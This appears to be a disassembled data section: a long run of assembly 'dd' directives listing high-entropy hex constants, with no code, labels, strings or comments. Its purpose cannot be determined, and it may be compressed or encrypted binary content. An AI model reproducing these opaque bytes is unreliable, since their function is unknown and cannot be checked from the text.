		dd 221E0FDCh, 5A00B8B1h, 5FE61685h, 5319DF67h, 0A9E30DA0h
		dd 6FBC3E4Dh, 66930100h, 91794A2Fh, 8586443Eh, 60AADB99h
		dd 0BD3E2083h, 7A80C61Fh, 8C67EF1Eh, 0DF72003Bh, 0D45C31C5h
		dd 2718E79Eh, 0E9F8D89Fh, 6B86003Eh, 7E4B0870h,	747DA362h
		dd 0CE478E1Fh, 0B367D540h, 3C2F7111h, 87805A83h, 0F632BAC7h
		dd 0DF003541h, 13469A3Bh, 14457ECh, 82E81B15h, 0CC41D3B0h
		dd 23013F60h, 0AB3BDD9Bh, 62CC9139h, 73E0A4h, 0CCC99C12h
		dd 0A1616041h, 38754D00h, 7F098EE5h, 0BC6A0086h, 234402B3h
		dd 791DCBD2h, 0D0C0710Ah, 83631FE2h, 0F9FE007Bh, 9D0FEA30h
		dd 7507647Ch, 495AF1EFh, 4D5E9CD0h, 712607C7h, 76B008h
		dd 0D573369Eh, 0AEA65907h, 8E3082FBh, 1CF95Bh, 9C493A11h
		dd 80840266h, 90001EE2h, 0EC9AF324h, 0F83325h, 208CB2D5h
		dd 1CD2D6F5h, 0ED43AB0Bh, 0A168800Bh, 3C4155Ch,	0B9B426F8h
		dd 0D298B711h, 0C3009F36h, 8C63881Bh, 3864ADCh,	0C6045BF7h
		dd 0ACA83152h, 9528E223h, 260E3C09h, 53610797h,	53101F02h
		dd 67746856h, 607C0054h, 0AA6EB08Ch, 221263D7h,	6C4493A9h
		dd 9080E4F6h, 0D1AF73h,	0A137E801h, 0BE782719h,	0CD39F728h
		dd 9F002179h, 4F93C5Ah,	37FD910h, 1A06B86Fh, 0F909BE6h
		dd 7E0077CAh, 8DB194DDh, 17BE76h, 26AE4087h, 90048F95h
		dd 811EDB03h, 0E81CA637h, 60330666h, 557FF4C2h,	0FE75BC08h
		dd 7100D4B1h, 0FC7E23BDh, 0EBD8C01Ch, 84A55B1Bh, 0C6DC460Bh
		dd 60C2008Dh, 1D1752F8h, 80B2A3E2h, 1D12B87Fh, 2C03A17Ah
		dd 0A8AD75E8h, 0C045CAAAh, 5EFB1F0Ah, 4AB680AEh, 0D690E2B2h
		dd 0F1572900h, 0E94BA47Eh, 72950F1Bh, 0FA825987h, 93C0FCC1h
		dd 0BF12DA97h, 3C81E21Ch, 6864E60Eh, 0C5EB006Ch, 5A032F53h
		dd 7B003B39h, 9A865095h, 13669109h, 1610E9D3h, 7F02003Ch
		dd 0C602EF47h, 0A8110E00h, 506382CDh, 8C1B4C3Fh, 7182C23Ah
		dd 0EA31BD32h, 4412E8E8h, 0E3AD1D00h, 2DE90A83h, 90DF2C95h
		dd 41C600C6h, 11E602DDh, 0DA088200h, 0A7A04CECh, 0E140ED0h
		dd 0AB00F5E0h, 0BA3C1EC7h
		dd 0C2750702h, 0C064FC7Bh, 69108h, 0AE3E409Dh, 0E2A5CA23h
		dd 40598D26h, 4E28003Fh, 3F4305B6h, 0C5A700CEh,	7E3B88DCh
		dd 941EBE0Ah, 0F383FA31h, 0E0EACBD9h, 4B4AD24h,	6AC1B090h
		dd 92F0D096h, 8C2EA05Fh, 171DBAA7h, 739CF402h, 105874h
		dd 0F0123C9Dh, 5DC18480h, 54113Bh, 88FCFD94h, 3C22BCDh
		dd 0BF5EE271h, 46C8687Ch, 550E7317h, 0A3D1C3FEh, 909FDA7Ah
		dd 84692Ah, 4DA5CC34h, 0C7D7644Fh, 73836E01h, 0AE3C9266h
		dd 299AC8h, 145F543h, 0AD0C14FBh, 2B301807h, 86EBB1C8h
		dd 0C0AD8B4h, 92650533h, 0A4E019A9h, 0DD0EE978h, 8E8AFE5Dh
		dd 0B6B4808Bh, 0B099ACF8h, 94E37544h, 3D96001Ch, 331DC6D1h
		dd 311BE974h, 0C0187D65h, 26C5C9h, 9862A880h, 0B7E67ED5h
		dd 0BF09477Eh, 802FB46Eh, 73A0AF8Fh, 0C5CC0116h, 80B2BE32h
		dd 350FE06Fh, 2D7E904Ch, 57F567Eh, 5D2E2C5h, 12A8B3Ch
		dd 0DD6AFB48h, 4675E026h, 937783FAh, 17757E71h,	4A41A103h
		dd 0F51DA794h, 85D4682Ch, 0BA351Eh, 0ACE2891Ah,	0BB48AEh
		dd 656FFAE8h, 7719E6B5h, 457BE000h, 31F2C86Ah, 1039005Dh
		dd 0D365BBADh, 0D4001830h, 0F3CD2D79h, 73EF7Ah,	7F17E1DAh
		dd 8B98BBA8h, 0BC0152h,	0DC84606Bh, 0ECC40F1Ah,	77E20345h
		dd 809EC8E6h, 0A3609870h, 32CFB808h, 0C47A001Ah, 0F2BA5341h
		dd 9A0111B0h, 751CA224h, 8EE8C6F0h, 2ED70326h, 166A42F7h
		dd 89D0C780h, 68A639h, 8EFF8B21h, 3A58D02h, 0ACBCD9E3h
		dd 5E01A0Dh, 0AF90954Dh, 0DF478203h, 0B1E39Bh, 4916830Eh
		dd 9699D855h, 0EEC2EF8h, 37CA2D00h, 179F9872h, 0F263751Eh
		dd 0AD510067h, 0E2C4E8DEh, 870678C8h, 0B51D4ADFh, 9EA01C9h
		dd 436584ADh, 82BFFC62h, 0F288B400h, 0A37635F1h, 36AD27E3h
		dd 22A59000h, 0FFAFD34h, 58031800h, 4D19713Dh, 75B006F8h
		dd 10738033h, 83048E57h, 41C3A8h, 1B43B110h, 0CE58179Bh
		dd 49107703h, 88FBA20Fh, 48BAA883h, 0AE0CE441h,	0B229188Ah
		dd 6C7440h, 238ED5FBh, 5C97AF55h, 788B891Dh, 0D1BF2A40h
		dd 795BFF75h, 0CB2200ADh, 0F29D400Fh, 0D4000717h, 2FAFD3Bh
		dd 0DB51E5h, 0AA90DEA9h, 4F2B2CE4h, 0CE2413E6h,	7400E209h
		dd 33A3491Ch, 0F2401FB3h, 0B79580E2h, 0E6F6B24h, 800002F4h
		dd 344306D1h, 9D794Dh, 3EA433F9h, 0E20542Dh, 5610F660h
		dd 9D6F8h, 0CE5C8719h, 0A2387404h, 8C058601h, 0DE42B7BAh
		dd 0AEBDC20h, 0BD7D2A8Eh, 52D60098h, 6BF89D9Fh,	0AA71E72Ch
		dd 85B81A02h, 0BCD684F0h, 0B59DAE80h, 58C5070Bh, 90DF1FC9h
		dd 0C88C22ACh, 49A4AD00h, 0D17E3E50h, 721200F2h, 32A3D90Eh
		dd 7558EFC0h, 83CD01E1h, 5CC76697h, 0B3D6C8h, 1A0E7F4Eh
		dd 0DDC10B21h, 4A04BCB0h, 10811582h, 2E6B5781h,	0FEF1D7DCh
		dd 0B89000E8h, 9AF7AB8Ah, 85514E20h, 54E0FCF8h,	69C53500h
		dd 5CBA5844h, 0E9BE00F9h, 4279103Bh, 93070B83h,	0B4164B73h
		dd 0D1BB60C0h, 45E800BEh, 4DB0DB43h, 0AE00A1E5h, 3E180529h
		dd 0A43128h, 0F6C4A2BFh, 9C1FDB5Ah, 25944F00h, 2EE64213h
		dd 13A7C16h, 1DB48CD3h,	0CC2AF58Ah, 527DECE4h, 3C16F600h
		dd 440EFEE6h, 0C669006Eh, 0B79B8722h, 0C50CAFC0h, 6829ECD3h
		dd 1E75EE72h, 407D0ABAh, 7CAD42D8h, 0E0CE847Fh,	0FE6260E7h
		dd 0EE6555h, 0C3ECB7B9h, 3AC824CDh, 13914200h, 0DB62E599h
		dd 877189h, 631DA919h, 0B557B2F8h, 71DA4107h, 34113652h
		dd 0AF102C88h, 0F40054ADh, 7C6BD826h, 0F54A7Eh,	0AC1DEEEh
		dd 0F7906DC5h, 2D7FEF00h, 0C747DB1Ch, 764626D3h, 93023C1Fh
		dd 311A6D56h, 0D39E9A41h, 0EF9CFCF0h, 1D6E0E00h, 0A4401596h
		dd 0F987Eh, 485387Fh, 0FE70D7EDh, 2B009A7Fh, 5C71B0F0h
		dd 0A23126h, 6254C50h, 36FDF6EDh, 81A7AB3Fh, 488CEFB1h
		dd 582075A6h, 83F5015Ch, 0F1667823h, 40E0EA55h,	940B3BACh
		dd 806C0DCDh, 0ADA1693Bh, 0CE7E0D05h, 0D15A4457h, 0E199C4B1h
		dd 41770300h, 8B2FA537h, 39AD719Bh, 0DE00748Eh,	0F46CFC71h
		dd 7C003816h, 0D3FD441Ah, 12FB5D07h, 781357Fh, 0D0C69588h
		dd 0E8852617h, 24478E13h, 0F1375840h, 61F9B4h, 62A9254Eh
		dd 7DE1EE2Dh, 7A710400h, 7FCE448Ah, 578501E0h, 27EFB665h
		dd 39190064h, 441600F5h, 0A54B1F77h, 69009C15h,	0B893FA5Eh
		dd 0FE4ABCD5h, 0C8D305EFh, 624522h, 5BDD98DCh, 2098993Bh
		dd 5E65641Dh, 2AA2F9C0h, 0F068E60h, 49577BBBh, 0C06E6B04h
		dd 71D8CD34h, 0A7215B0Bh, 40DA00A5h, 1E4F57D0h,	5C36ACC0h
		dd 0BEC2007Dh, 0F6E2DDBAh, 9A8D5F06h, 0E87240h,	1C85CD7Fh
		dd 0E4DC0499h, 3AF82F3Eh, 0EE5C804Fh, 0A72D0121h, 2868073Fh
		dd 0E37E9C1Ah, 84E86089h, 830FCE8Dh, 60ACB770h,	5C018E96h
		dd 902A4C34h, 0DEC7FC08h, 5D004093h, 7DD7324Eh,	84410021h
		dd 15BD92F2h, 39003025h, 4406BCAh, 0B71B93h, 0BE872EDh
		dd 0A221160Ch, 6471EF00h, 0C6FFCC48h, 8B373E74h, 3B5D9880h
		dd 108206C5h, 0DE219012h, 6B7D3600h, 50C73C32h,	1809AC73h
		dd 31EAA8BAh, 97004B61h, 8A56ADFDh, 0C0300DB0h,	4E479F29h
		dd 0B00E4EDh, 986C365Ah, 2CAF62Eh, 0CF52BF8h, 24400902h
		dd 0D72A6684h, 9D0B881Bh, 3A0B754h, 0AF790704h,	20100049h
		dd 60F09277h, 29B811BDh, 0AD1ED76Dh, 2CC01193h,	12711DD9h
		dd 3D4F0021h, 56DBC4BAh, 0F816DFF9h, 8840022Dh,	84E7CD33h
		dd 2E320039h, 1BB823BFh, 7C24766Fh, 0F304E488h,	67C39ED3h
		dd 75198851h, 0F68051BBh, 0DE78A0h, 8BD13743h, 73E60698h
		dd 2021C926h, 0AFB0506h, 0CE920029h, 0FA602CD2h, 5AF07B74h
		dd 9FDBD609h, 0C5CD2067h, 0F1861Ah, 0A71FFD6Eh,	9938AB06h
		dd 0C4747801h, 8F4A6D1Eh, 618CC1h, 3C0FD3C4h, 0F804F0E3h
		dd 0C0470EE0h, 0B12333A9h, 4F940712h, 141A9840h, 0EAD5B2D7h
		dd 0B9900E75h, 1800F854h, 41177F0Ah, 2CA22F00h,	30D2A42Ah
		dd 0B7851F87h, 903980BAh, 993EDD5Eh, 4F32D40Eh,	2FBDE051h
		dd 8FA791h, 0FD8731D5h,	5310F36Ah, 0E5C84600h, 0D27163B0h
		dd 0B6E2C3h, 72FED9C1h,	0A92DAC31h, 0AAF21200h,	2FA29A57h
		dd 0B07B3C97h, 7157320h, 3ACC128Fh, 7D4C9E94h, 0C5FF25Fh
		dd 0FC032F45h, 56961003h, 1390182h, 2FB9F5BDh, 0D8A7D06Dh
		dd 0DF9E8400h, 0EEDD9D95h, 82200B2h, 0F2E51153h, 7801EACEh
		dd 5792C9A2h, 40408197h, 0FC128D05h, 31D4F97Ah,	427600A8h
		dd 533CE6E1h, 852A2D43h, 9C8280F5h, 674B025h, 88750120h
		dd 16508F0Eh, 0C1BD805Bh, 0E0A5DBh, 55EF1D3Fh, 0F14F80B7h
		dd 8577E100h, 82D19B4h,	3C7925h, 0AA99E286h, 3CFFDE6h
		dd 0CDE7EF00h, 0D3F5C40Ah, 718C00FEh, 0A00BB8BDh, 7307BC62h
		dd 4B02DE04h, 4FD223D0h, 3427006Ch, 0E9A07BA3h,	0D10796A5h
		dd 0D4AF44E6h, 0A7F0290h, 0F5C70030h, 728BD901h, 6400C98Dh
		dd 0B3FEDE7Ah, 0EA9F4Dh, 0AB82B6FBh, 11FD6B9Ah,	1AAF3Dh
		dd 0E1596ED1h, 13C6E0h,	263EE3F3h, 2062AD19h, 91FB5600h
		dd 0C08537Ch, 0A70F006Eh, 0BF1DC63Eh, 0DE003216h, 8F2023FCh
		dd 0EE1117h, 773CF035h,	0AE5748C0h, 0F9EC1554h,	0FCEDA828h
		dd 75490A03h, 0A24C0196h, 8C072BE4h, 22CA32EDh,	8A2524C0h
		dd 0ACEE2F00h, 0BC797DE9h, 0DBE00FFh, 4603B243h, 8318F1E6h
		dd 0F24006CBh, 301400A0h, 0C6D71785h, 28CFEF0Dh, 905D101Eh
		dd 0A0160C7Ch, 53117A76h
		dd 0FF819F00h, 0ADECCB0Ah, 8D366F0h, 300021BCh,	0EB881A7h
		dd 73B6325Bh, 0B5B904B2h, 90722CD4h, 0DA1C7714h, 7F013E7Bh
		dd 0BF857D16h, 0A32CE274h, 971F9A03h, 76001C09h, 7CC9B479h
		dd 4C4A1612h, 0A060D310h, 725457F2h, 6903B17Eh,	8518D49Fh
		dd 1337A8F6h, 5A00728h,	5383321Bh, 278874FFh, 4400DEAAh
		dd 643A0CFCh, 0E4FBAC22h, 553E004Dh, 0F4286B3Dh, 0F20F46A1h
		dd 60298386h, 215E6878h, 1D12007Fh, 0C9F76A79h,	0F500E306h
		dd 0FA6394EAh, 0D5DC55h, 96600D76h, 8B18A4E5h, 9272B100h
		dd 2C6ADE80h, 735D008Eh, 0AD6EFBC3h, 0AC00F932h, 3437A15h
		dd 0FE541A2Dh, 297423h,	4F0CBBA0h, 0B6F1567Ch, 5FA1E300h
		dd 0F2F26F2h, 0BD95074Ch, 0C0802B33h, 0EE767956h, 9F11B00Fh
		dd 0DB91A0C4h, 0DE721Ah, 28569C74h, 0A4664B80h,	25612D1Fh
		dd 1D5D1B40h, 3BA19B81h, 1787536h, 9D513CFDh, 0ECB92F4Ah
		dd 0A6034209h, 93E0A9A1h, 7811C884h, 3F51C09Eh,	0BB9CA05Ah
		dd 0EE8A7600h, 34D198B8h, 0CF4407C7h, 0A08060D5h, 0FD019C4Fh
		dd 0DCA52E0Ch, 88B116h,	0FA793FBEh, 80B15B9h, 5B595867h
		dd 6D6F9910h, 0B89844h,	182935DEh, 0CD801FB9h, 373B5602h
		dd 418FDA78h, 0F7F479A9h, 24EC3D3Fh, 0CA53E503h, 0B6E09F58h
		dd 50008EE4h, 6E7B3E69h, 0DE294F1Eh, 89021880h,	9F51CDC3h
		dd 0CE89F48Dh, 3DF43A00h, 16FA616Eh, 4CD3E4C8h,	840E9962h
		dd 5860811Eh, 69CE46AEh, 844D1B28h, 33B8A100h, 0C73E04AAh
		dd 0A458C09Ah, 0D46D91C4h, 86DB7301h, 1039D192h, 54229970h
		dd 97845Ah, 1B255F78h, 5972F3DFh, 0D80FF500h, 75F67FE7h
		dd 528239E9h, 3E9418A4h, 0FED50D0Eh, 0AF67079Eh, 1AC7C3A5h
		dd 6C4604F0h, 0B2A85E0Ch, 20BF28FDh, 0B330E920h, 8ADE08D7h
		dd 0B6EA003Bh, 0B780FCD4h, 400ECFBh, 677B9834h,	1B63CD25h
		dd 31D910F8h, 0B317C3B0h, 3D11E060h, 7E407C7h, 0FB39804Bh
		dd 5CFAC1A6h, 301847CCh, 0E723D6C4h, 8BE8031Dh,	0E2FB91B0h
		dd 0B8D2D9h, 84E0D748h,	5C001044h, 9E42B255h, 312A0204h
		dd 1728F089h, 0D2518054h, 0A1405765h, 61741F14h, 9EBB0751h
		dd 33144852h, 3010318Ch, 88BE096Dh, 0D1AED000h,	720BD925h
		dd 215DF70Ah, 0C0819CFFh, 9A868E97h, 0E2C71080h, 6D9080EFh
		dd 0D2F76F07h, 1EB00863h, 61D4234h, 8AC8FE67h, 4C31C1E5h
		dd 22F49A9h, 1ED3EF4h, 96F25128h, 0C415E59Bh, 0F815B7A8h
		dd 188CD518h, 0D990B6Dh, 0C9920145h, 0EE653FB4h, 5E96D44Bh
		dd 14063B73h, 95E80A42h, 21911961h, 48783913h, 0D88F8A4h
		dd 12C80080h, 6F883113h, 7EF40610h, 0E59FCA38h,	0AE80FE40h
		dd 28C8C1CDh, 4460FF84h, 0BE039EABh, 0A84D3E35h, 7E89A08Fh
		dd 0D6A20701h, 0A24087EDh, 34441D45h, 39974C30h, 2826C62h
		dd 390DF4E8h, 0D34057CAh, 8901B84h, 231CC700h, 5B1F255Dh
		dd 0B7D20060h, 0BFA8B88Fh, 4484E945h, 8500CB41h, 7782A49Fh
		dd 0FCA67C40h, 0F441F37Ah, 80570E6Dh, 0E2121B61h, 1CEE78CCh
		dd 56ABC752h, 0C05F0246h, 98821E5Ch, 0D211927h,	0A44892C2h
		dd 0F01D453Bh, 19D499ECh, 2A51C06Ch, 19DF8034h,	0A0DA10CEh
		dd 4C0810FFh, 87BD00E8h, 4759DC97h, 1C00C1CBh, 801009B4h
		dd 91E9E189h, 0C00D0644h, 0C65061C2h, 51C82F9Ch, 0B741814Eh
		dd 0CC4FC5E0h, 94060985h, 15DCB1E7h, 0C4783428h, 6945E1Dh
		dd 0A9A512F8h, 9E5FEE09h, 972818C7h, 0F3AB0092h, 1EB27FAEh
		dd 9B003577h, 0CA3E2CA4h, 9214F6D0h, 7CC700D4h,	7DCFF36Dh
		dd 0E63ECBCh, 944C19h, 0B6AC66B1h, 0AF9FA3F3h, 0DF16DA00h
		dd 7F923587h, 598802E8h, 28E70B82h, 60912C68h, 0FB890A64h
		dd 2A9088h, 0CA805319h,	0E7F6997Bh, 0B40429F2h,	74154C04h
		dd 91BBDC81h, 1C02E022h, 500922A9h, 0AA4A7448h,	0E44491C0h
		dd 192FE7h, 0CEB08B68h,	0ABA0755Fh, 1E36F1Fh, 0D7DB0802h
		dd 0C6D44922h, 0E2005427h, 0DB041FF1h, 0D3EA9232h, 0DE985804h
		dd 20CAD670h, 59C05048h, 0A7AAE2Eh, 70F80100h, 111423E7h
		dd 31897FADh, 0EB3041C2h, 82C89055h, 0F8070CD1h, 70F52780h
		dd 0CEB2E4EDh, 78D3E0A8h, 0D7FD0F09h, 8564A473h, 80C8B331h
		dd 59A76629h, 0D26336h,	8E947FFh, 0B67BACCFh, 8DA0E26h
		dd 98E60D67h, 86F8A0F1h, 27AB2484h, 0F8694C78h,	356E822h
		dd 0D4AF9437h, 719EB34Dh, 2B71D600h, 69A326Ch, 9F7948DCh
		dd 0A9B6C00Ah, 8EB700E7h, 0C309E2B9h, 0ED00D0A6h, 0BDCB3AD5h
		dd 0FAB288Dh, 6129A9ECh, 0D46FE6E0h, 8731C8E5h,	0FDB47951h
		dd 7B381426h, 75733A80h, 0EDE00A21h, 5039DE01h,	0BC56AA4Bh
		dd 0FB809050h, 0EC1882D9h, 0A01BF3Bh, 70BA63F1h, 93D896BDh
		dd 0A9A7243Ch, 44171D74h, 921DAD86h, 9A209170h,	2AE9D990h
		dd 0A1902B36h, 0FA106D44h, 88ABCF59h, 5C8F99E2h, 58387116h
		dd 0FE2434DBh, 0C706F493h, 3931A9B5h, 5A8045ADh, 0A7353D01h
		dd 0A018A9Fh, 0B62BEF11h, 808CF88Bh, 7331BBB3h,	0AD257401h
		dd 876F1422h, 2CD629FCh, 9500C177h, 0C800F09Dh,	2239585Dh
		dd 6124B1EDh, 996C7C43h, 4484B214h, 0C4006307h,	3581BA4Ah
		dd 2066F248h, 0D490739Bh, 29046B34h, 761AEEC0h,	5BD40056h
		dd 33BD4C34h, 6A0AFF22h, 0C86042E7h, 0C8989894h, 6384647Fh
		dd 6AB1189Ch, 405A6108h, 0F65EFBF8h, 26CC3A0h, 50154E99h
		dd 0E048AF27h, 41C0CDB3h, 4D19F58Bh, 0EFCA1213h, 95EC48B0h
		dd 0E3499C8Eh, 0E8F95441h, 0AF5156Ch, 25A8B1A3h, 9193007Ch
		dd 0E52E0E2Fh, 0B4B252h, 34AC17B0h, 0CA786Eh, 14A88FCCh
		dd 0C9404559h, 10B0FC5Dh, 9053E925h, 0A6D78000h, 0CD5037B9h
		dd 2D129273h, 4E002486h, 3A351FE4h, 0D8D84D84h,	60940801h
		dd 0D1BFF477h, 0B0324Ah, 1011BDC9h, 5E6484h, 72DEDCB8h
		dd 798FD16Eh, 7D56800Ch, 88CE781Eh, 0DD0AA527h,	0A81F5246h
		dd 11F83631h, 0B058BC4Dh, 0B16070A8h, 0FEE80874h, 22A0C395h
		dd 95FD0298h, 0EBDA3CF2h, 0F24270E9h, 20001C4Ah, 0D6A77748h
		dd 28EFACF8h, 5BFAB13Ch, 0F8135832h, 923020E5h,	0F338FB3Dh
		dd 600993E7h, 0E8345416h, 51078C80h, 0B4CA1102h, 4B2300CCh
		dd 46754DD5h, 0FA31EE5Dh, 8BA83E99h, 34221025h,	429D27Dh
		dd 124440Ch, 0BC38666Ch, 15E6C504h, 62A9EC80h, 47FB30E0h
		dd 397E5031h, 2900BAF8h, 8706B0AFh, 0C47DF8h, 5A6746CDh
		dd 849D42B6h, 7C459024h, 27E7189h, 201F4F30h, 6EFB13CEh
		dd 4A110560h, 586F9E8Ah, 0E922D853h, 8141D06Bh,	0C65CAF64h
		dd 5A03EC62h, 0EEF4BB6Ah, 0A27C88CCh, 97FBE11Dh, 0A7782385h
		dd 606A6C88h, 6CB7690Dh, 0C41EBEF4h, 13C07185h,	0B478103Bh
		dd 0A4BC915Eh, 16B11BCh, 5AECD4C6h, 5184BE5Eh, 401A4C91h
		dd 0A1E7BC78h, 0AC54A873h, 3AB27464h, 0E407A2EBh, 0E27D4223h
		dd 6D24D47Eh, 0C3EC88h,	773422F1h, 0EE63B493h, 0E9694002h
		dd 80E2B8AEh, 917DC784h, 0C4CF00D3h, 26555FE5h,	0FB89F05Ah
		dd 7AE448h, 128C2C4Ch, 47C9BBF8h, 70059A26h, 0A215FA61h
		dd 0C31A3036h, 9C6608B9h, 9A00137Eh, 50D20137h,	2D964D6h
		dd 0BA41702Fh, 0ECECFCCDh, 2B35E700h, 7F1556B8h, 50AD0031h
		dd 27255DD0h, 97176C81h, 745EA38Eh, 645445B8h, 848C10C4h
		dd 0CAC8917Eh, 0D404BE8Ch, 0A673B09Fh, 56470F68h, 0D98EC0F1h
		dd 35ACFEFh, 70155724h,	1DCAB091h, 3E965051h, 0E661EEB0h
		dd 58A89299h, 0E6806C49h
		dd 2D03E25Fh, 6B435D12h, 3B3784CCh, 0F602AC65h,	6E13B19Fh
		dd 71F2F4A7h, 0CA573BE2h, 3059B042h, 0AA997A08h, 1E4100A0h
		dd 0FD1F5477h, 0B44E01A5h, 442A3048h, 477B40D1h, 368ECDh
		dd 652EB9F8h, 0C5F16245h, 0AEB2B700h, 0A592F2C6h, 0FB38A0A9h
		dd 4FC8A8F9h, 7AB60138h, 756C2182h, 92C9D827h, 7CDA8300h
		dd 41795C14h, 801A5D4Eh, 0D310F80Ch, 68918079h,	0E28DE500h
		dd 74C915h, 0A1407BEh, 5ACBB75Bh, 93880C3Fh, 285FFAF0h
		dd 8585CD10h, 7DE8216Fh, 0CEF810E9h, 980600CFh,	4C38FC07h
		dd 80A9B115h, 2B9458EEh, 23193D0Fh, 0BE95C24Eh,	0CF78201Bh
		dd 4800737Dh, 1863A913h, 0B16E1DB1h, 0D60B00BCh, 4DC5B6B9h
		dd 0C9847E01h, 0F543F8A8h, 0C6A315CCh, 51083489h, 8D491018h
		dd 36BD479h, 0AFC1B7ACh, 0EF80725Ah, 0E20001E0h, 0FF4118D9h
		dd 906859A6h, 0EC314508h, 5400CD71h, 55C79065h,	746236Bh
		dd 0A8BC2E25h, 78A4B95Dh, 7DF4CC1Eh, 4462A245h,	40A06A25h
		dd 2DBF10EEh, 3FF68700h, 3E20E1B3h, 8F6402C1h, 6C84C839h
		dd 0D2E7ACA1h, 18421C0h, 8ACAB324h, 0CD741D59h,	29D8B407h
		dd 221E5B03h, 13001A69h, 62B48A02h, 1D7CC627h, 0A9F9763Ch
		dd 0B5EB05C8h, 0E39C88BAh, 98F19A02h, 4843EE58h, 9D29730h
		dd 50E1769Dh, 6608490h,	6DDCE08Ah, 1611C00Fh, 17FDD704h
		dd 6500D1E0h, 457CCAA8h, 0F80E913Dh, 4B64F0B7h,	0D4FC21A2h
		dd 6C4014ABh, 571D3899h, 0F8F90C09h, 5879C661h,	0B8423745h
		dd 0D6B3238Fh, 46A23900h, 99D28836h, 0B2F43D61h, 0B4BC0979h
		dd 84484A78h, 6B6556CAh, 71C088CCh, 16C8EAE2h, 5C416E06h
		dd 91A41338h, 4911FA00h, 98F005E4h, 0D000AD70h,	0EBC0C99h
		dd 1BDA99Dh, 0CE9B2749h, 9793857Dh, 7041ADDCh, 1D43D2C4h
		dd 0CC22C036h, 0C1EB6E00h, 0AC1CA492h, 2AD514F7h, 0D0BC0F5h
		dd 48B0FDC6h, 632AABC7h, 0FB5CE014h, 0C9F98020h, 5841FA35h
		dd 8780F8B2h, 0F2268431h, 0DD5AC507h, 14B0E44Ch, 32AD436Eh
		dd 0A9D18E9Ch, 9E8BDF20h, 57A0B66h, 12822DA3h, 0EC404F25h
		dd 84A416FAh, 105CB04Fh, 13A0B822h, 31578DBBh, 51D0108h
		dd 7CA51030h, 5D020005h, 0AAD1B858h, 0D70010B1h, 0F54473D6h
		dd 0C946DBD4h, 6C442F70h, 4D80D01Ch, 5636AE81h,	9602E923h
		dd 3E017520h, 34F1000Ch, 0D36CAB92h, 949A1459h,	0F5FC44h
		dd 7895DEE3h, 0AB111256h, 0EF016FE6h, 82485FFh,	0D73101E7h
		dd 9CD8E045h, 0F82A0062h, 916E1EEBh, 0E5161F99h, 0A8325D57h
		dd 1EE86E9Dh, 70C64Ch, 0ADE51BFDh, 783EDD73h, 0C21D7F6Dh
		dd 690B6371h, 0ABF42256h, 0F46C643Bh, 0C1610355h, 8908FA13h
		dd 272CCAB4h, 43D0A04Ch, 396B507Bh, 282C8A6Ch, 0E92A4244h
		dd 5C625510h, 0C0C03C82h, 5CEE49D2h, 3130881Dh,	0A104B100h
		dd 88E56EB2h, 47288BABh, 15003421h, 1ED7CCD5h, 0B9B3CB4Eh
		dd 937C0050h, 9A1DB430h, 19652C32h, 9011C31Ch, 9AB6270h
		dd 0A6F85C99h, 1194F831h, 24325391h, 5C90102Dh,	0E37657CEh
		dd 60C40810h, 0F5DC204Eh, 3F7F69EEh, 8861A101h,	5F46FD83h
		dd 5CA2D1F8h, 1580146Ah, 0F1D0DA32h, 0A70001F0h, 31A9CF3Dh
		dd 4045AC40h, 0B958C6DEh, 7F3CC0D8h, 3597E5Bh, 61EA2239h
		dd 81284305h, 0C45589Ch, 27E22821h, 6892D0A7h, 1F00B59Fh
		dd 0E96C42A2h, 4AD9FAE4h, 26B8289Ch, 7E21E506h,	2159A7E0h
		dd 0C3000725h, 0CB714D64h, 60F8B4FCh, 1CE58EC5h, 5F83303h
		dd 0F2E4AC9Ch, 0A250F9Dh, 3D820E9h, 0EA16D3D6h,	60207179h
		dd 1F0A3F60h, 765523Ah,	0D04685ADh, 2456CC7Ch, 0CA275318h
		dd 9827870h, 9386EF6Bh,	312F04E1h, 643C623Ch, 0F640DCF8h
		dd 0C8B95F36h, 258DA204h, 4CCC309Fh, 0B7008A6Dh, 0E5396282h
		dd 0B09E7230h, 0D26999BBh, 0A32C0821h, 1860F889h, 99249178h
		dd 4AEB0B30h, 0D4F71411h, 6B038BAFh, 9ADCBCBFh,	7338A89Dh
		dd 0D9771A66h, 6485B807h, 5204E427h, 2236AC02h,	0D89A2DFFh
		dd 449498D0h, 13002403h, 0E10CA254h, 1A115B78h,	90DA40E3h
		dd 7680F051h, 0DF50BB0Fh, 791481AAh, 2DFA80A0h,	143D4346h
		dd 0D0F5ACF7h, 0A808049h, 5BE644FEh, 4BAF3Bh, 0C20665D5h
		dd 88DCA90h, 1422E8EBh,	0A7604024h, 0EA78E375h,	0CEC706A5h
		dd 59A161F7h, 120444h, 56F05482h, 29CB5809h, 0B5A8B63Bh
		dd 0E0CD2030h, 0D68BF4h, 0B9B259F5h, 21FE0C2Ah,	53689501h
		dd 1F928020h, 0E7A402Dh, 0DE43D077h, 3484ACAh, 0ED3A97C2h
		dd 0EFE8C793h, 2712C1ECh, 9417F8h, 0E5E900B5h, 64000422h
		dd 0C53C430Ch, 0F67E5C73h, 0EB185950h, 48EEECE7h, 80A838D1h
		dd 0C1CE6287h, 7F1D0BE8h, 8498B5A6h, 0E0A471FEh, 7489B300h
		dd 0B0A346BDh, 5E890F3h, 0B27A1CFAh, 0ED432FDh,	6890DB20h
		dd 0EADC7AB9h, 0CD6500F2h, 54C79A11h, 0F896EED9h, 5E740D91h
		dd 498028D1h, 0AEF05702h, 0D2926D6h, 0CAF81868h, 4C707300h
		dd 0C62DFCFh, 0BB0D00F8h, 8D51CD9Dh, 75175B3Ch,	3448A261h
		dd 1E8A8CBh, 2DA93F72h,	440EA51Dh, 50F38Ch, 365B9371h
		dd 3BCF3B0Bh, 0A419874Fh, 291248A9h, 0B4D0933Ch, 0FE4D2232h
		dd 86E58CDh, 0EA8EB980h, 4E03C8CBh, 38D5EFE8h, 282D86Ch
		dd 800C94B1h, 0B2957294h, 0C817F0A2h, 0D093E91Dh, 0CF12217h
		dd 0C8589300h, 4B05B469h, 26090EAFh, 0E5A0F539h, 24CC5E1Ah
		dd 72A5C220h, 6D1D405Ah, 3410260h, 0FF47B8h, 0FC397FB1h
		dd 71EB6C59h, 9C5FDC00h, 55BB23A2h, 0B338C9C5h,	72B26468h
		dd 0CB6C9409h, 8630A1D2h, 4C01D93Ah, 0B6DC508Eh, 9D0165B7h
		dd 8B2EED8Ch, 53E8EA37h, 1EF90132h, 9B750F56h, 11DC3C80h
		dd 4458A9C3h, 0E7735CC0h, 1D257BE9h, 2F6404ABh,	5C4800E7h
		dd 0EEF80722h, 6EE2FD45h, 0AF2903A0h, 0E2EE983h, 11030F0h
